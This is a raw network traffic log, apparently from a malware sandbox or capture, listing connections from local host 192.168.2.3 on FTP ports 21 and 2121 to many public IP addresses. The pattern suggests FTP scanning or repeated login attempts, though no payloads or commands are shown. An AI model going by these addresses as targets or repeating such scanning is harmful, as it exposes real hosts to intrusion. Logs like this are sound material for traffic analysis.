Aug 23, 2023 09:16:00.074920893 CEST	21	51468	70.182.227.94	192.168.2.3
Aug 23, 2023 09:16:00.076208115 CEST	51483	21	192.168.2.3	68.34.216.36
Aug 23, 2023 09:16:00.076340914 CEST	51485	21	192.168.2.3	124.170.169.228
Aug 23, 2023 09:16:00.076344967 CEST	51484	2121	192.168.2.3	68.34.216.36
Aug 23, 2023 09:16:00.076529980 CEST	51488	2121	192.168.2.3	45.51.243.93
Aug 23, 2023 09:16:00.076531887 CEST	51486	2121	192.168.2.3	124.170.169.228
Aug 23, 2023 09:16:00.076579094 CEST	51489	21	192.168.2.3	73.211.242.117
Aug 23, 2023 09:16:00.076581001 CEST	51487	21	192.168.2.3	45.51.243.93
Aug 23, 2023 09:16:00.076719046 CEST	51490	2121	192.168.2.3	73.211.242.117
Aug 23, 2023 09:16:00.076833963 CEST	51491	21	192.168.2.3	73.215.164.34
Aug 23, 2023 09:16:00.077364922 CEST	51492	2121	192.168.2.3	73.215.164.34
Aug 23, 2023 09:16:00.077488899 CEST	51493	21	192.168.2.3	74.75.129.115
Aug 23, 2023 09:16:00.081419945 CEST	51419	21	192.168.2.3	94.216.154.53
Aug 23, 2023 09:16:00.081499100 CEST	51422	2121	192.168.2.3	73.51.40.168
Aug 23, 2023 09:16:00.081499100 CEST	51423	21	192.168.2.3	178.57.228.185
Aug 23, 2023 09:16:00.081506968 CEST	51421	21	192.168.2.3	73.51.40.168
Aug 23, 2023 09:16:00.085304022 CEST	2121	51480	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.088049889 CEST	51480	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.097630024 CEST	51494	2121	192.168.2.3	74.75.129.115
Aug 23, 2023 09:16:00.113406897 CEST	51495	21	192.168.2.3	106.211.192.224
Aug 23, 2023 09:16:00.121066093 CEST	2121	51480	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.121088028 CEST	2121	51480	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.121443987 CEST	51480	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.155292034 CEST	2121	51480	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.159341097 CEST	51480	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.159547091 CEST	51469	2121	192.168.2.3	70.182.227.94
Aug 23, 2023 09:16:00.159682989 CEST	51420	2121	192.168.2.3	94.216.154.53
Aug 23, 2023 09:16:00.192007065 CEST	2121	51480	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.192222118 CEST	51480	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.192255020 CEST	2121	51480	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.192497969 CEST	51480	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.192809105 CEST	51496	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.224622965 CEST	2121	51496	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.224667072 CEST	2121	51480	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.224842072 CEST	51496	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.225213051 CEST	21	51465	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:00.226011038 CEST	21	51482	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:00.226675034 CEST	51482	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:00.252865076 CEST	51497	2121	192.168.2.3	106.211.192.224
Aug 23, 2023 09:16:00.253926992 CEST	51498	21	192.168.2.3	20.241.172.42
Aug 23, 2023 09:16:00.263300896 CEST	2121	51469	70.182.227.94	192.168.2.3
Aug 23, 2023 09:16:00.284564018 CEST	51424	2121	192.168.2.3	178.57.228.185
Aug 23, 2023 09:16:00.284578085 CEST	51455	21	192.168.2.3	218.55.26.7
Aug 23, 2023 09:16:00.284663916 CEST	51457	2121	192.168.2.3	218.55.26.7
Aug 23, 2023 09:16:00.285713911 CEST	51499	2121	192.168.2.3	20.241.172.42
Aug 23, 2023 09:16:00.317411900 CEST	51500	21	192.168.2.3	107.173.232.209
Aug 23, 2023 09:16:00.362690926 CEST	51474	21	192.168.2.3	121.148.52.169
Aug 23, 2023 09:16:00.362701893 CEST	51476	2121	192.168.2.3	121.148.52.169
Aug 23, 2023 09:16:00.411365032 CEST	2121	51496	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.411678076 CEST	51496	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.420557022 CEST	21	51482	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:00.420943022 CEST	51482	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:00.443278074 CEST	2121	51496	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.444039106 CEST	2121	51496	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.444904089 CEST	51496	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.457036018 CEST	51501	2121	192.168.2.3	107.173.232.209
Aug 23, 2023 09:16:00.478140116 CEST	2121	51496	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.480870008 CEST	51496	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.513190985 CEST	2121	51496	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.513237953 CEST	2121	51496	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.513386011 CEST	51496	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.513648987 CEST	51496	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.514405012 CEST	51502	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.545505047 CEST	2121	51496	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.546211958 CEST	2121	51502	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.548144102 CEST	51502	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.550236940 CEST	51430	21	192.168.2.3	24.95.141.161
Aug 23, 2023 09:16:00.551434040 CEST	51504	2121	192.168.2.3	110.47.44.199
Aug 23, 2023 09:16:00.551436901 CEST	51503	21	192.168.2.3	110.47.44.199
Aug 23, 2023 09:16:00.552440882 CEST	51505	21	192.168.2.3	94.3.1.185
Aug 23, 2023 09:16:00.565494061 CEST	2121	51457	218.55.26.7	192.168.2.3
Aug 23, 2023 09:16:00.566334009 CEST	51506	2121	192.168.2.3	94.3.1.185
Aug 23, 2023 09:16:00.580442905 CEST	21	51455	218.55.26.7	192.168.2.3
Aug 23, 2023 09:16:00.583494902 CEST	51507	21	192.168.2.3	97.119.216.136
Aug 23, 2023 09:16:00.592370033 CEST	21	51482	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:00.593656063 CEST	21	51482	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:00.594080925 CEST	51482	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:00.617389917 CEST	21	51474	121.148.52.169	192.168.2.3
Aug 23, 2023 09:16:00.617491961 CEST	2121	51476	121.148.52.169	192.168.2.3
Aug 23, 2023 09:16:00.659637928 CEST	51431	2121	192.168.2.3	24.95.141.161
Aug 23, 2023 09:16:00.659881115 CEST	51468	21	192.168.2.3	70.182.227.94
Aug 23, 2023 09:16:00.728276968 CEST	21	51507	97.119.216.136	192.168.2.3
Aug 23, 2023 09:16:00.739928961 CEST	2121	51502	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.740959883 CEST	51502	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.755999088 CEST	51509	21	192.168.2.3	58.26.140.34
Aug 23, 2023 09:16:00.756001949 CEST	51508	2121	192.168.2.3	97.119.216.136
Aug 23, 2023 09:16:00.763592005 CEST	21	51468	70.182.227.94	192.168.2.3
Aug 23, 2023 09:16:00.765441895 CEST	51510	2121	192.168.2.3	58.26.140.34
Aug 23, 2023 09:16:00.766191006 CEST	21	51482	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:00.768651009 CEST	51482	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:00.772136927 CEST	21	51464	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:00.772800922 CEST	2121	51502	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.772958040 CEST	51464	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:00.773483038 CEST	2121	51502	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.774688959 CEST	51502	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.808083057 CEST	2121	51502	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.812233925 CEST	51502	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.817969084 CEST	51511	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:00.818164110 CEST	51512	2121	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:00.844451904 CEST	2121	51502	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.844501019 CEST	2121	51502	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.844738960 CEST	51502	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.844738960 CEST	51502	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.846438885 CEST	51513	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.854217052 CEST	51514	21	192.168.2.3	73.89.89.72
Aug 23, 2023 09:16:00.862821102 CEST	51433	21	192.168.2.3	219.74.235.64
Aug 23, 2023 09:16:00.862821102 CEST	51469	2121	192.168.2.3	70.182.227.94
Aug 23, 2023 09:16:00.876832962 CEST	2121	51502	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.879071951 CEST	2121	51513	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:00.879513979 CEST	51513	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:00.925195932 CEST	21	51509	58.26.140.34	192.168.2.3
Aug 23, 2023 09:16:00.938508987 CEST	2121	51510	58.26.140.34	192.168.2.3
Aug 23, 2023 09:16:00.940707922 CEST	21	51482	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:00.940736055 CEST	21	51482	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:00.940938950 CEST	51482	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:00.941010952 CEST	51482	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:00.941751957 CEST	51515	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:00.966924906 CEST	2121	51469	70.182.227.94	192.168.2.3
Aug 23, 2023 09:16:00.968660116 CEST	51516	2121	192.168.2.3	73.89.89.72
Aug 23, 2023 09:16:00.973647118 CEST	51436	2121	192.168.2.3	219.74.235.64
Aug 23, 2023 09:16:00.983352900 CEST	21	51511	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:00.985793114 CEST	51511	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:00.986311913 CEST	21	51464	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:00.986769915 CEST	21	51464	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:00.986785889 CEST	21	51464	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:00.987338066 CEST	51464	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:00.987520933 CEST	51464	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:00.988190889 CEST	51517	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:01.050292015 CEST	51435	21	192.168.2.3	83.93.11.240
Aug 23, 2023 09:16:01.071378946 CEST	2121	51513	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.072005033 CEST	51513	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.081507921 CEST	51444	2121	192.168.2.3	73.3.190.84
Aug 23, 2023 09:16:01.081521988 CEST	51438	2121	192.168.2.3	83.93.11.240
Aug 23, 2023 09:16:01.081541061 CEST	51439	21	192.168.2.3	116.96.126.205
Aug 23, 2023 09:16:01.081547976 CEST	51440	2121	192.168.2.3	116.96.126.205
Aug 23, 2023 09:16:01.104214907 CEST	2121	51513	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.104846954 CEST	2121	51513	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.105247021 CEST	51513	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.112953901 CEST	21	51482	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:01.113503933 CEST	21	51515	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:01.113593102 CEST	51515	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:01.138674974 CEST	2121	51513	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.139489889 CEST	51513	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.152292967 CEST	21	51511	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:01.152580976 CEST	51511	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:01.153395891 CEST	51518	21	192.168.2.3	71.12.209.147
Aug 23, 2023 09:16:01.159688950 CEST	51441	21	192.168.2.3	73.3.190.84
Aug 23, 2023 09:16:01.159723043 CEST	51476	2121	192.168.2.3	121.148.52.169
Aug 23, 2023 09:16:01.159722090 CEST	51474	21	192.168.2.3	121.148.52.169
Aug 23, 2023 09:16:01.172029018 CEST	2121	51513	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.172158003 CEST	2121	51513	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.172313929 CEST	51513	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.172314882 CEST	51513	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.172947884 CEST	51519	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.201420069 CEST	21	51464	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:01.201682091 CEST	21	51517	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:01.201777935 CEST	51517	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:01.206274986 CEST	2121	51513	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.206307888 CEST	2121	51519	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.206378937 CEST	51519	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.284645081 CEST	51507	21	192.168.2.3	97.119.216.136
Aug 23, 2023 09:16:01.290585041 CEST	51447	21	192.168.2.3	27.137.0.211
Aug 23, 2023 09:16:01.290637016 CEST	51450	2121	192.168.2.3	27.137.0.211
Aug 23, 2023 09:16:01.295039892 CEST	21	51515	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:01.295419931 CEST	51515	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:01.318042040 CEST	21	51511	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:01.318140984 CEST	51511	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:01.318743944 CEST	21	51511	192.145.234.184	192.168.2.3
Aug 23, 2023 09:16:01.318903923 CEST	51511	21	192.168.2.3	192.145.234.184
Aug 23, 2023 09:16:01.392030954 CEST	2121	51519	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.392424107 CEST	51519	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.413669109 CEST	21	51474	121.148.52.169	192.168.2.3
Aug 23, 2023 09:16:01.413743973 CEST	2121	51476	121.148.52.169	192.168.2.3
Aug 23, 2023 09:16:01.415378094 CEST	51520	2121	192.168.2.3	71.12.209.147
Aug 23, 2023 09:16:01.416702986 CEST	51521	21	192.168.2.3	8.219.179.78
Aug 23, 2023 09:16:01.423974991 CEST	21	51517	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:01.424357891 CEST	51517	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:01.424519062 CEST	2121	51519	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.425359964 CEST	2121	51519	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.425970078 CEST	51519	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.442142963 CEST	51522	2121	192.168.2.3	8.219.179.78
Aug 23, 2023 09:16:01.450292110 CEST	51451	21	192.168.2.3	79.54.21.121
Aug 23, 2023 09:16:01.459623098 CEST	2121	51519	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.459990025 CEST	51519	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.466526031 CEST	21	51515	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:01.467787027 CEST	21	51515	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:01.468198061 CEST	51515	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:01.472196102 CEST	51509	21	192.168.2.3	58.26.140.34
Aug 23, 2023 09:16:01.472220898 CEST	51510	2121	192.168.2.3	58.26.140.34
Aug 23, 2023 09:16:01.472222090 CEST	51452	2121	192.168.2.3	79.54.21.121
Aug 23, 2023 09:16:01.492883921 CEST	2121	51519	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.492907047 CEST	2121	51519	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.492961884 CEST	51519	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.493140936 CEST	51519	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.493959904 CEST	51523	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.525299072 CEST	2121	51519	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.526220083 CEST	2121	51523	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.526303053 CEST	51523	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.536175013 CEST	51524	21	192.168.2.3	71.33.129.229
Aug 23, 2023 09:16:01.537087917 CEST	51525	2121	192.168.2.3	71.33.129.229
Aug 23, 2023 09:16:01.537935972 CEST	51526	21	192.168.2.3	87.139.28.38
Aug 23, 2023 09:16:01.538800955 CEST	51527	2121	192.168.2.3	87.139.28.38
Aug 23, 2023 09:16:01.554450989 CEST	51528	21	192.168.2.3	86.25.79.49
Aug 23, 2023 09:16:01.566767931 CEST	51529	2121	192.168.2.3	86.25.79.49
Aug 23, 2023 09:16:01.567934036 CEST	51530	21	192.168.2.3	186.170.79.76
Aug 23, 2023 09:16:01.568885088 CEST	51531	2121	192.168.2.3	186.170.79.76
Aug 23, 2023 09:16:01.637733936 CEST	21	51517	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:01.640063047 CEST	21	51515	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:01.641474009 CEST	21	51509	58.26.140.34	192.168.2.3
Aug 23, 2023 09:16:01.644799948 CEST	2121	51510	58.26.140.34	192.168.2.3
Aug 23, 2023 09:16:01.659725904 CEST	51458	21	192.168.2.3	72.201.117.162
Aug 23, 2023 09:16:01.667694092 CEST	51515	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:01.715655088 CEST	2121	51523	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.716219902 CEST	51523	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.752305984 CEST	2121	51523	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.752374887 CEST	2121	51523	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.752753973 CEST	51523	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.786885977 CEST	2121	51523	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.787158012 CEST	51523	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.820547104 CEST	2121	51523	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.820797920 CEST	51523	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.820869923 CEST	2121	51523	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.820930958 CEST	51523	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.822159052 CEST	51532	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:01.834378004 CEST	51534	2121	192.168.2.3	23.65.106.186
Aug 23, 2023 09:16:01.834398031 CEST	51533	21	192.168.2.3	23.65.106.186
Aug 23, 2023 09:16:01.835302114 CEST	51459	2121	192.168.2.3	72.201.117.162
Aug 23, 2023 09:16:01.839073896 CEST	21	51515	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:01.839116096 CEST	21	51515	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:01.839165926 CEST	51515	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:01.839319944 CEST	51515	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:01.839925051 CEST	51535	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:01.854475975 CEST	2121	51523	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.855128050 CEST	2121	51532	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:01.855202913 CEST	51532	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.011714935 CEST	21	51515	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:02.012985945 CEST	21	51535	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:02.013077021 CEST	51535	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:02.039992094 CEST	2121	51532	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.040843964 CEST	51532	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.057126999 CEST	51536	21	192.168.2.3	173.201.91.0
Aug 23, 2023 09:16:02.057137012 CEST	51537	2121	192.168.2.3	173.201.91.0
Aug 23, 2023 09:16:02.072602034 CEST	2121	51532	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.073391914 CEST	2121	51532	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.073705912 CEST	51532	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.081635952 CEST	51461	21	192.168.2.3	12.189.148.223
Aug 23, 2023 09:16:02.081698895 CEST	51462	2121	192.168.2.3	12.189.148.223
Aug 23, 2023 09:16:02.083761930 CEST	51539	2121	192.168.2.3	188.24.184.41
Aug 23, 2023 09:16:02.083764076 CEST	51538	21	192.168.2.3	188.24.184.41
Aug 23, 2023 09:16:02.083817005 CEST	51540	21	192.168.2.3	94.198.118.176
Aug 23, 2023 09:16:02.107266903 CEST	2121	51532	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.107909918 CEST	51532	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.140413046 CEST	2121	51532	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.140458107 CEST	2121	51532	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.140598059 CEST	51532	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.141382933 CEST	51532	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.141391039 CEST	51541	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.145087957 CEST	51542	2121	192.168.2.3	94.198.118.176
Aug 23, 2023 09:16:02.174004078 CEST	2121	51532	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.174050093 CEST	2121	51541	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.174284935 CEST	51541	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.210113049 CEST	21	51535	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:02.210649967 CEST	51535	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:02.285198927 CEST	51509	21	192.168.2.3	58.26.140.34
Aug 23, 2023 09:16:02.285211086 CEST	51463	21	192.168.2.3	178.167.108.198
Aug 23, 2023 09:16:02.285312891 CEST	51510	2121	192.168.2.3	58.26.140.34
Aug 23, 2023 09:16:02.360797882 CEST	2121	51541	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.361197948 CEST	51541	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.362852097 CEST	51467	2121	192.168.2.3	178.167.108.198
Aug 23, 2023 09:16:02.382150888 CEST	21	51535	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:02.383529902 CEST	21	51535	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:02.384072065 CEST	51535	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:02.394953012 CEST	2121	51541	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.395560026 CEST	2121	51541	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.395867109 CEST	51541	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.429130077 CEST	2121	51541	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.429424047 CEST	51541	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.455269098 CEST	21	51509	58.26.140.34	192.168.2.3
Aug 23, 2023 09:16:02.458281994 CEST	2121	51510	58.26.140.34	192.168.2.3
Aug 23, 2023 09:16:02.458929062 CEST	51543	21	192.168.2.3	46.37.120.58
Aug 23, 2023 09:16:02.458934069 CEST	51544	2121	192.168.2.3	46.37.120.58
Aug 23, 2023 09:16:02.461631060 CEST	2121	51541	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.462274075 CEST	51541	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.462274075 CEST	51545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.463582039 CEST	2121	51541	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.467573881 CEST	51541	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.472254992 CEST	51471	2121	192.168.2.3	75.162.161.219
Aug 23, 2023 09:16:02.472369909 CEST	51470	21	192.168.2.3	75.162.161.219
Aug 23, 2023 09:16:02.491931915 CEST	2121	51545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.494119883 CEST	2121	51541	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.494175911 CEST	51545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.504079103 CEST	51546	21	192.168.2.3	134.130.132.102
Aug 23, 2023 09:16:02.524151087 CEST	21	51546	134.130.132.102	192.168.2.3
Aug 23, 2023 09:16:02.550405025 CEST	51473	2121	192.168.2.3	201.121.117.80
Aug 23, 2023 09:16:02.550414085 CEST	51472	21	192.168.2.3	201.121.117.80
Aug 23, 2023 09:16:02.556934118 CEST	21	51535	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:02.557341099 CEST	51535	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:02.581801891 CEST	51477	21	192.168.2.3	13.225.70.73
Aug 23, 2023 09:16:02.629786968 CEST	51547	2121	192.168.2.3	134.130.132.102
Aug 23, 2023 09:16:02.638529062 CEST	21	51517	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:02.640393019 CEST	51517	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:02.650131941 CEST	2121	51547	134.130.132.102	192.168.2.3
Aug 23, 2023 09:16:02.659753084 CEST	51479	21	192.168.2.3	92.74.44.122
Aug 23, 2023 09:16:02.682549953 CEST	2121	51545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.682971954 CEST	51545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.707607985 CEST	51548	21	192.168.2.3	201.3.17.188
Aug 23, 2023 09:16:02.713835001 CEST	2121	51545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.713855982 CEST	2121	51545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.715017080 CEST	51545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.729809999 CEST	21	51535	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:02.729831934 CEST	21	51535	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:02.729964018 CEST	51535	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:02.730674028 CEST	51535	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:02.730684042 CEST	51549	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:02.747526884 CEST	2121	51545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.748194933 CEST	51545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.779639959 CEST	2121	51545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.779684067 CEST	2121	51545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.779798985 CEST	51545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.780365944 CEST	51545	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.780499935 CEST	51550	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.784884930 CEST	51478	2121	192.168.2.3	13.225.70.73
Aug 23, 2023 09:16:02.811620951 CEST	2121	51545	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.813874960 CEST	2121	51550	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:02.816545963 CEST	51550	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:02.854089975 CEST	21	51517	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:02.854211092 CEST	21	51517	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:02.854245901 CEST	21	51517	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:02.854615927 CEST	51517	21	192.168.2.3	41.85.20.17
